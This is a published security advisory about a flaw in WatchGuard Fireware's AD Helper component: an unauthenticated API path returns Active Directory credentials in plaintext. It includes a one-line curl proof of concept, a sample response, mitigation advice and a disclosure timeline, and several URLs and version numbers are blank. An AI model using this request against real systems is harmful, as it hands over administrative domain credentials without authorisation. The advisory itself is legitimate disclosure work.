# Exploit: WatchGuard Fireware AD Helper Component - Credential Disclosure   
# Author: RedTeam Pentesting GmbH  
# Date: 2020-03-11  
# Vendor:  
# Software link:  
# CVE: N/A  
Advisory: Credential Disclosure in WatchGuard Fireware AD Helper Component  
RedTeam Pentesting discovered a credential-disclosure vulnerability in  
the AD Helper component of the WatchGuard Fireware Threat Detection and  
Response (TDR) service, which allows unauthenticated attackers to gain  
Active Directory credentials for a Windows domain in plaintext.  
Product: WatchGuard Fireware AD Helper Component  
Affected Versions:, <  
Fixed Versions:  
Vulnerability Type: Information Disclosure  
Security Risk: high  
Vendor URL:  
Vendor Status: fixed version released  
Advisory URL:  
Advisory Status: published  
"Threat Detection and Response (TDR) is a cloud-based subscription  
service that integrates with your Firebox to minimize the consequences  
of data breaches and penetrations through early detection and automated  
remediation of security threats."  
"Threat Detection and Response includes the AD Helper component. If your  
network has an Active Directory server, you can install AD Helper to  
manage automated installation and updates of Host Sensors on your  
(from the vendor's homepage)  
More Details  
By accessing the AD Helper's web interface, it was discovered that a  
call to an API endpoint is made, which responds with plaintext  
credentials to all configured domain controllers. There is no  
authentication needed to use the described interface and the  
installation instructions at [1] contain no indication of any way to  
configure access control.  
Proof of Concept  
An HTTP GET request to the path "/domains/list" of the AD Helper  
API returns, among others, the plaintext credentials to  
all configured Windows domain controllers:  
$ curl --silent "" | jq .  
"content": [  
"id": 1,  
"fullyQualifiedName": "",  
"logonDomain": "",  
"domainControllers": "",  
"username": "[DOMAIN_USER]",  
"password": "[DOMAIN_PASSWORD]",  
"uuid": "[...]",  
"servers": [  
"totalPages": 1,  
"totalElements": 1,  
"number": 0,  
"numberOfElements": 1  
The same request and its response can be observed when initially accessing  
the web interface. The discovered version of AD Helper responds with  
the following server banner:  
It is likely that other versions of the AD Helper Component are  
vulnerable as well.  
Ensure API of the AD Helper Component is not reachable over the network,  
for example by putting it behind a Firewall.  
Update to Version or later.  
Security Risk  
No authentication is needed to access AD Helper's web interface and the  
installation instructions at [1] describe that configured domain user  
accounts must possess at least the following privileges:  
* Connect to the host  
* Mount the share ADMIN$  
* Create a file on the host  
* Execute commands on the host  
* Install software on the host  
Access to the "ADMIN$" share implies a user with administrative  
privileges. Therefore, this vulnerability poses a high risk.  
2020-02-12 Vulnerability identified  
2020-02-19 Customer approved disclosure to vendor  
2020-02-24 Tried to contact the German branch of WatchGuard  
2020-02-27 Contacted the Dutch branch of WatchGuard  
2020-02-28 Contact to ADHelper QA Team Lead established  
2020-03-02 Advisory draft sent for verification  
2020-03-10 Vendor released fixed version and blog post  
2020-03-11 CVE ID requested  
2020-03-11 Advisory released  
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